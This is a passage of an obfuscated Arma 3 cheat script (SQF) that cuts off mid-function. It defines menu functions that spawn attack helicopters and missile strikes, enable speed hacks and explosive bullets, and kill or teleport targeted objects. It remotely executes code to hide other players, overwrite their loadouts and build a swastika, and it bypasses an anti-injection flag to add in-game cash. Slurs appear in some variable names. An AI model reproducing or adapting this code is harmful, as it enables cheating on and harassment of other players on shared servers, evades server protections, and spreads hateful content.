- _l56 = getText(_l53 >> "picture");
- if (_l55 >= 2 && _l54 == "Backpacks" && _l56 != "" && !(_l3 in _l59)) then {
- _l59 set[count _l59, _l3];
- };
- };
- if (_l39 % 10 == 0) then {
- hintsilent format["Spawning Backpacks %1", count _l59];
- sleep 0.0001;
- };
- }; {
- _l50 addBackPackCargo[_x, 5];
- }
- foreach _l59;
- sleep 0.1;
- hint "Weapon Crate Ready";
- titleText[" \nCrate Spawned..", "PLAIN"];
- titlefadeout 5;
- };
- NNNN_IGGG___EEEEEEE_DelCrate = {
- {
- deleteVehicle _x
- }
- forEach(allMissionObjects "box_NATO_AMMO_F");
- hint "All Weapon Boxes Deleted";
- };
- NNNN_IGGG___EEEEEEE_HeliSquad = {
- _l71 = side player;
- _l71 = group player;
- _pos = getPos vehicle player;
- _l5 = getDir vehicle player;
- cutText[format["Spawning Heli Squad"], "PLAIN DOWN"];
- _l72 = -700;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'B_HELI_ATTACK_01_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -750;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'B_HELI_ATTACK_01_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -800;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'B_HELI_ATTACK_01_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -850;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'B_HELI_ATTACK_01_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l5 = _l5 + 180;
- _l72 = -700;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'B_HELI_ATTACK_01_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -750;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'B_HELI_ATTACK_01_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -800;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'B_HELI_ATTACK_01_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -850;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'B_HELI_ATTACK_01_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- };
- NNNN_IGGG___EEEEEEE_HeliSquad2 = {
- _l71 = side player;
- _l71 = group player;
- _pos = getPos vehicle player;
- _l5 = getDir vehicle player;
- cutText[format["Spawning Heli Squad"], "PLAIN DOWN"];
- _l72 = -700;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'O_HELI_ATTACK_02_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -750;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'O_HELI_ATTACK_02_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -800;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'O_HELI_ATTACK_02_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -850;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'O_HELI_ATTACK_02_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l5 = _l5 + 180;
- _l72 = -700;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'O_HELI_ATTACK_02_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -750;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'O_HELI_ATTACK_02_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -800;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'O_HELI_ATTACK_02_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- _l72 = -850;
- [
- [((_pos) select 0) + _l72 * sin(_l5), ((_pos) select 1) + _l72 * cos(_l5), 300], _l5, 'O_HELI_ATTACK_02_F', _l71
- ] call bis_fnc_spawnvehicle;
- sleep 0.1;
- };
- NNNN_IGGG___EEEEEEE_3Dtext = {
- closedialog 0;
- if (isNil "NNNN_IGGG___EEEEEEE_atext") then {
- NNNN_IGGG___EEEEEEE_atext = 0;
- };
- if (NNNN_IGGG___EEEEEEE_atext == 0) then {
- NNNN_IGGG___EEEEEEE_atext = 1;
- hint "3D Text ON";
- _3d = "[] spawn{disableSerialization;if (isNil ""BIS_fnc_3dCredits_n"") then {BIS_fnc_3dCredits_n = 2733;};BIS_fnc_3dCredits_n cutRsc [""rscDynamicText"", ""PLAIN""];BIS_fnc_3dCredits_n = BIS_fnc_3dCredits_n + 1;_ctrl = ((uiNamespace getvariable ""BIS_dynamicText"") displayctrl 9999);_ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;tdtext = true;while {tdtext} do{if !(tdtext) exitWith {};_pos = [(getPosATL player) select 0, (getPosATL player) select 1, ((getPosATL player) select 2) + 2];_pos2D = worldToScreen _pos;if (count _pos2D > 0) then{_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];_text = parseText ""<t size='0.8' color='#FF1AAA'>'hello' said the hacker</t>"";_ctrl ctrlSetStructuredText _text;_ctrl ctrlCommit 0;};};_ctrl ctrlShow false;_ctrl ctrlEnable false;};";
- [_3d] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- } else {
- NNNN_IGGG___EEEEEEE_atext = 0;
- hint "3D Text OFF";
- _3d = "tdtext = false; tdtext = nil";
- [_3d] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- };
- NNNN_IGGG___EEEEEEE_SpeedyGonzales = {
- if (isnil("NNNN_IGGG___EEEEEEE_Speedy")) then {
- NNNN_IGGG___EEEEEEE_Speedy = false;
- };
- NNNN_IGGG___EEEEEEE_Speedy = !NNNN_IGGG___EEEEEEE_Speedy;
- if (NNNN_IGGG___EEEEEEE_Speedy) then {
- hint "Nitro ON";
- waituntil {
- !isnull(finddisplay 46)
- };
- NNNN_IGGG___EEEEEEE_Speed_Hack_cus = (findDisplay 46) displayAddEventHandler["KeyDown", "_this select 1 call cus_SPEED_DOWN;false;"];
- cus_SPEED_DOWN = {
- NNNN_IGGG___EEEEEEE_c_Vehicle = vehicle player;
- if (NNNN_IGGG___EEEEEEE_c_Vehicle == player) exitwith {};
- NNNN_IGGG___EEEEEEE_nos = NNNN_IGGG___EEEEEEE_c_Vehicle getvariable "NNNN_IGGG___EEEEEEE_boost_shiftl_cus";
- NNNN_IGGG___EEEEEEE_SupaGrade_cus = NNNN_IGGG___EEEEEEE_c_Vehicle getvariable "NNNN_IGGG___EEEEEEE_boost_e_cus";
- if (isEngineOn NNNN_IGGG___EEEEEEE_c_Vehicle) then {
- switch (_this) do {
- case 18:
- {
- if (isEngineOn NNNN_IGGG___EEEEEEE_c_Vehicle and!isnil "NNNN_IGGG___EEEEEEE_SupaGrade_cus") then {
- NNNN_IGGG___EEEEEEE_c_Vehicle SetVelocity[(velocity NNNN_IGGG___EEEEEEE_c_Vehicle select 0) * 1.07, (velocity NNNN_IGGG___EEEEEEE_c_Vehicle select 1) * 1.07, (velocity NNNN_IGGG___EEEEEEE_c_Vehicle select 2) * 0.99];
- } else {
- NNNN_IGGG___EEEEEEE_c_Vehicle setvariable["NNNN_IGGG___EEEEEEE_boost_e_cus", 1, true];
- };
- };
- case 42:
- {
- if (isEngineOn NNNN_IGGG___EEEEEEE_c_Vehicle and!isnil "NNNN_IGGG___EEEEEEE_nos") then {
- NNNN_IGGG___EEEEEEE_c_Vehicle setVelocity[(velocity NNNN_IGGG___EEEEEEE_c_Vehicle select 0) * 1.02, (velocity NNNN_IGGG___EEEEEEE_c_Vehicle select 1) * 1.02, (velocity NNNN_IGGG___EEEEEEE_c_Vehicle select 2) * 0.99];
- } else {
- NNNN_IGGG___EEEEEEE_c_Vehicle setvariable["NNNN_IGGG___EEEEEEE_boost_shiftl_cus", 1, true];
- };
- };
- };
- };
- };
- } else {
- hint "Nitro OFF";
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_Speed_Hack_cus];
- NNNN_IGGG___EEEEEEE_nos = nil;
- _vehicle_player_cus = nil;
- };
- };
- NNNN_IGGG___EEEEEEE_AutoTakeOffV3 = {
- _l61 = "B_HELI_ATTACK_01_F";
- _l5 = getdir vehicle player;
- _pos = getPosATL vehicle player;
- _pos = [(_pos select 0) + 15 * sin(_l5), (_pos select 1) + 15 * cos(_l5), (_pos select 2)];
- _l15 = 999 + random(99999);
- _l2632 = createVehicle[_l61, _pos, [], 0, 'CAN_COLLIDE'];
- _l2632 setVariable['ObjectID', _l15, true];
- serverObjectMonitor set[count serverObjectMonitor, _l2632];
- _l7 = _l2632 call objectUID;
- _l2632 setVariable['ObjectUID', _l7, true];
- _l2632 setVariable['OwnerID', 0, true];
- _l2632 setDir _l5;
- _l2632 engineon true;
- _l2632 setVelocity[100 * sin(_l5), 100 * cos(_l5), 120];
- sleep 0.01;
- vehicle player moveInDriver _l2632;
- };
- NNNN_IGGG___EEEEEEE_MissileStrike = {
- NNNN_IGGG___EEEEEEE_LODESTARS = 30;
- NNNN_IGGG___EEEEEEE_LODESTAR1 = {
- openMap[false, false];
- [_pos] spawn {
- for '_l39'
- from 0 to NNNN_IGGG___EEEEEEE_LODESTARS do {
- _l87 = "M_AT";
- _l88 = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 300];
- _l89 = createVehicle[_l87, _l88, [], 0, "CAN_COLLIDE"];
- _l89 setvelocity[0, 0, 0];
- [_l89, -90, 0] call BIS_fnc_setPitchBank;
- hint format["%1 Missiles Launched", _l39];
- sleep(random 1.00);
- };
- };
- };
- titleText["Click on map drop missle's", "PLAIN"];
- titlefadeout 7;
- onMapSingleClick "_pos call NNNN_IGGG___EEEEEEE_LODESTAR1;";
- openMap[true, false];
- };
- NNNN_IGGG___EEEEEEE_QuickFire = {
- if (isnil("NNNN_IGGG___EEEEEEE_Rapidfire")) then {
- NNNN_IGGG___EEEEEEE_Rapidfire = 0;
- };
- if (NNNN_IGGG___EEEEEEE_Rapidfire == 0) then {
- NNNN_IGGG___EEEEEEE_Rapidfire = 1;
- hint "Rapid Fire ON";
- } else {
- NNNN_IGGG___EEEEEEE_Rapidfire = 0;
- hint "Rapid Fire OFF";
- };
- while {
- NNNN_IGGG___EEEEEEE_Rapidfire == 1
- }
- do {
- (vehicle player) setWeaponReloadingTime[(vehicle player), currentWeapon(vehicle player), 0];
- player setWeaponReloadingTime[player, currentWeapon player, 0];
- sleep 0.01;
- };
- };
- NNNN_IGGG___EEEEEEE_BigFcknBullets = {
- if (isNil "NNNN_IGGG___EEEEEEE_Explo_Bullets") then {
- NNNN_IGGG___EEEEEEE_Explo_Bullets = 0
- };
- if (NNNN_IGGG___EEEEEEE_Explo_Bullets == 0) then {
- NNNN_IGGG___EEEEEEE_Explo_Bullets = 1;
- vehicle player removeAllEventHandlers "Fired";
- hint "Explosive Bullets ON";
- vehicle player addeventhandler["Fired", {
- call BigFuckinBullets
- }];
- BigFuckinBullets = {
- if (isNull cursorTarget) then {
- NNNN_IGGG___EEEEEEE_TargetPlayer = screenToWorld[0.5, 0.5];
- } else {
- NNNN_IGGG___EEEEEEE_TargetPlayer = getpos cursorTarget;
- };
- _l90 = "HelicopterExploBig"
- createVehiclelocal NNNN_IGGG___EEEEEEE_TargetPlayer;
- };
- } else {
- NNNN_IGGG___EEEEEEE_Explo_Bullets = 0;
- hint "Explosive Bullets OFF";
- vehicle player removeAllEventHandlers "Fired";
- };
- };
- NNNN_IGGG___EEEEEEE_deleteC = {
- deleteVehicle cursorTarget;
- cutText[format["%1 DELETED", cursorTarget], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_KillCursor = {
- if (cursorTarget != player) then {
- cursorTarget setDamage 1;
- cutText[format["%1 Destroyed", cursorTarget], "PLAIN"];
- };
- };
- NNNN_IGGG___EEEEEEE_TPCursor = {
- _l5 = getDir player;
- _target = cursorTarget;
- _target setPosATL[(getPosATL player select 0) + 10 * sin(_l5), (getPosATL player select 1) + 10 * cos(_l5), getPosATL player select 2];
- cutText[format["%1 Teleported", _target], "PLAIN"];
- };
- NNNN_IGGG___EEEEEEE_NNNN_IGGG___EEEEEEE_to_Swastika = {
- hint 'building';
- closeDialog 0;
- _pos = getPos Player;
- _l5 = getdir vehicle player;
- _pos = [(_pos select 0) + 8 * sin(_l5), (_pos select 1) + 8 * cos(_l5), 5];
- _l26331 = _pos select 0;
- _l26332 = _pos select 1;
- _l26333 = _pos select 2;
- _l26334 = 0;
- _l26335 = 0;
- _l26336 = _pos select 0;
- _l26337 = _pos;
- _l26338 = createVehicle['B_Heli_Light_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26338 allowDamage false;
- sleep 0.5;
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 + 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 0]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 + 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 0]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 + 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 0]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 + 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 0]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 + 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 0]];
- sleep 0.5;
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 0;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [0, 0, _l26335]];
- sleep 0.5;
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 5]];
- sleep 0.5;
- _l26334 = 0;
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 10]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 10]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 10]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 10]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26334 = _l26334 - 1;
- _l26339 attachTo[_l26338, [_l26334, 0, 10]];
- sleep 0.5;
- _l26335 = -1;
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [-5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [-5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [-5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [-5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [-5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [-5, 0, _l26335]];
- sleep 0.5;
- _l26335 = 5;
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [5, 0, _l26335]];
- _l26339 = createVehicle['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- _l26336 = _l26336 + 3;
- _pos = [_l26336, _pos select 1, _pos select 2];
- _l26335 = _l26335 + 1;
- _l26339 attachTo[_l26338, [5, 0, _l26335]];
- sleep 0.5;
- player action['getInDriver', _l26338];
- NNNN_IGGG___EEEEEEE_LOL_FAGGOT = _l26338;
- publicvariable "NNNN_IGGG___EEEEEEE_LOL_FAGGOT";
- _l26327 = "NNNN_IGGG___EEEEEEE_LOL_FAGGOT hideObject true;";
- [_l26327] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint "Done!";
- };
- };
- ['Target'] call {
- NNNN_IGGG___EEEEEEE_Target_invis = {
- _l2633 = _this select 0;
- if (isNil "NNNN_IGGG___EEEEEEE_initarr2") then {
- NNNN_IGGG___EEEEEEE_initarr2 = true;
- NNNN_IGGG___EEEEEEE_inamearr2 = [];
- };
- if !(_l2633 in NNNN_IGGG___EEEEEEE_inamearr2) then {
- hint format["Invisibility on %1 Activated", _l2633];
- NNNN_IGGG___EEEEEEE_inamearr2 = NNNN_IGGG___EEEEEEE_inamearr2 + [_l2633];
- } else {
- hint format["Invisibility on %1 Deactivated", _l2633];
- NNNN_IGGG___EEEEEEE_inamearr2 = NNNN_IGGG___EEEEEEE_inamearr2 - [_l2633];
- };
- _tinv = format["if (isServer) then
- {
- {
- if ((name _x == '%1') && (name _x in %2)) exitWith
- {
- [nil, vehicle _x, 'per', rHIDEOBJECT, true] call RE;
- };
- if ((name _x == '%1') && !(name _x in %2)) exitWith
- {
- [nil, vehicle _x, 'per', rHIDEOBJECT, false] call RE;
- };
- } forEach playableUnits;
- };", _l2633, NNNN_IGGG___EEEEEEE_inamearr2];
- [_tinv] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_join_vehh = {
- _l2633 = _this select 0; {
- if (name _x == _l2633) then {
- player moveInCargo vehicle _x;
- player moveInGunner vehicle _x;
- hint format["%1 vehicle joined", _x];
- cutText[format["%1 vehicle joined", _x], "PLAIN DOWN"];
- };
- }
- forEach entities "AllVehicles";
- };
- NNNN_IGGG___EEEEEEE_Target_Loadout = {
- _l2633 = _this select 0;
- _l2634 = format["if(name player=='%1')then{
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear 'H_Beret_02';
- _wset addGoggles 'G_Sport_Blackred';
- _wset addUniform 'U_O_GhillieSuit';
- _wset addVest 'V_BandollierB_cbr';
- _wset addBackpack 'B_Carryall_ocamo';
- _wset addWeapon 'NVGoggles';
- _wset addWeapon 'Rangefinder';
- _wset addMagazine '10Rnd_762x51_Mag';
- _wset addweapon 'srifle_DMR_01_DMS_F';
- _wset addMagazine '30Rnd_9x21_Mag';
- _wset addweapon 'hgun_P07_F';
- _wset addPrimaryWeaponItem 'acc_pointer_IR';
- _wset addHandgunItem 'muzzle_snds_L';
- _wset addWeaponGlobal 'ItemCompass';
- _wset addWeaponGlobal 'ItemMap';
- _wset addWeaponGlobal 'Itemgps';
- _wset addWeaponGlobal 'ItemWatch';
- _wset addWeaponGlobal 'itemradio';
- (unitBackpack _wset) additemCargo ['FirstAidKit',2];
- (unitBackpack _wset) additemCargo ['10Rnd_762x51_Mag', 9];
- (unitBackpack _wset) additemCargo ['30Rnd_9x21_Mag', 9];
- (unitBackpack _wset) additemCargo ['handGrenade', 2];
- };", _l2633];
- [_l2634] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["executed on %1", _l2633];
- cutText[format["executed on %1", _l2633], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_Cash_1mill = {
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- life_cash = life_cash + 500000;
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- hint "500k";
- };
- NNNN_IGGG___EEEEEEE_Cash_5mill = {
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- life_cash = life_cash + 1000000;
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- hint "1 Milli";
- };
- NNNN_IGGG___EEEEEEE_Cash_1mill_t = {
